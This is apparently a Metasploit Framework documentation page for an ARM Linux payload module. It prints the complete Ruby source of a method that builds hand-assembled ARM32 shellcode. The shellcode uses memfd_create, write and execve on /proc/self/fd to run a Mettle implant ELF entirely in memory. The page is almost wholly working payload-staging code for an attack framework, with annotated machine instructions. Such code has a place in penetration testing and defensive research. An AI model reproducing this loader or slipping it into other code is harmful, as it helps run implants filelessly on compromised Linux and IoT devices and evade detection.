Module: Msf::Payload::Linux::Armle::ElfLoader
- Defined in:
- lib/msf/core/payload/linux/armle/elf_loader.rb
Overview
In memory loader used to execute Mettle ELF file. Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced) Author: Martin Sutovsky <martin_sutovskyrapid7.com> Resource and Credits: magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html ARM32 conventions
Parameters: r0-r6
Syscall offset: r7
Return Address: lr/r14
Instance Method Summary collapse
Instance Method Details
#in_memory_load(payload) ⇒ Object
12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
# File 'lib/msf/core/payload/linux/armle/elf_loader.rb', line 12 def in_memory_load(payload) # the exec syscall can be substituted with execveat syscall, which takes out the need for itoa, however, it proved to be not stable across various IoT-specific kernel versions in_memory_loader = [ # memfd_create(null, MFD_CLOEXEC) 0xe3a02000, # 0x1000: mov r2, #0 0xe3a02000 0xe52d2004, # 0x1004: str r2, [sp, #-4]! 0xe52d2004 0xe1a0000d, # 0x1008: mov r0, sp 0xe1a0000d 0xe3a01001, # 0x100c: mov r1, #1 0xe3a01001 0xe3a07083, # 0x1010: mov r7, #0x83 0xe3a07083 0xe28770fe, # 0x1014: add r7, r7, #0xfe 0xe28770fe 0xef000000, # 0x1018: svc #0 0xef000000 # save fd to r3 0xe1a03000, # 0x101c: mov r3, r0 0xe1a03000 # use branch and branch with linking to get address of payload data 0xea00001d, # 0x1020: b #0x109c 0xea00001d 0xe1a0100e, # 0x1024: mov r1, lr 0xe1a0100e # write(fd,payload, payload_length) 0xe5912000, # 0x1028: ldr r2, [r1] 0xe5912000 0xe2811026, # 0x102c: add r1, r1, #0x26 0xe2811026 0xe3a07004, # 0x1030: mov r7, #4 0xe3a07004 0xef000000, # 0x1034: svc #0 0xef000000 # use custom itoa to convert fd into string and append it to /proc/self/fd/ 0xe2411002, # 0x1038: sub r1, r1, #2 0xe2411002 0xe1a0a001, # 0x103c: mov sl, r1 0xe1a0a001 0xe3a0200a, # 0x1040: mov r2, #0xa 0xe3a0200a 0xe734f213, # 0x1044: udiv r4, r3, r2 0xe734f213 0xe0050294, # 0x1048: mul r5, r4, r2 0xe0050294 0xe0435005, # 0x104c: sub r5, r3, r5 0xe0435005 0xe1a03004, # 0x1050: mov r3, r4 0xe1a03004 0xe2855030, # 0x1054: add r5, r5, #0x30 0xe2855030 0xe5ca5000, # 0x1058: strb r5, [sl] 0xe5ca5000 0xe24aa001, # 0x105c: sub sl, sl, #1 0xe24aa001 0xe3540000, # 0x1060: cmp r4, #0 0xe3540000 0x1afffff6, # 0x1064: bne #0x1044 0x1afffff6 0xe3a0902f, # 0x1068: mov sb, #0x2f 0xe3a0902f 0xe5dab000, # 0x106c: ldrb fp, [sl] 0xe5dab000 0xe15b0009, # 0x1070: cmp fp, sb 0xe15b0009 0x0a000002, # 0x1074: beq #0x1084 0x0a000002 0xe5ca9000, # 0x1078: strb sb, [sl] 0xe5ca9000 0xe24aa001, # 0x107c: sub sl, sl, #1 0xe24aa001 0xeafffff9, # 0x1080: b #0x106c 0xeafffff9 0xe24aa00d, # 0x1084: sub sl, sl, #0xd 0xe24aa00d # execve(/proc/self/fd/[fd],0,0) 0xe1a0000a, # 0x1088: mov r0, sl 0xe1a0000a 0xe3a01000, # 0x108c: mov r1, #0 0xe3a01000 0xe3a02000, # 0x1090: mov r2, #0 0xe3a02000 0xe3a0700b, # 0x1094: mov r7, #0xb 0xe3a0700b 0xef000000, # 0x1098: svc #0 0xef000000 0xebffffe0, # 0x109c: bl #0x1024 0xebffffe0 payload.length, 0x00000123 # .word ].pack('V*') fd_path = '/proc/self/fd/'.bytes.pack('C*') + "\x00" * 16 in_memory_loader + fd_path end |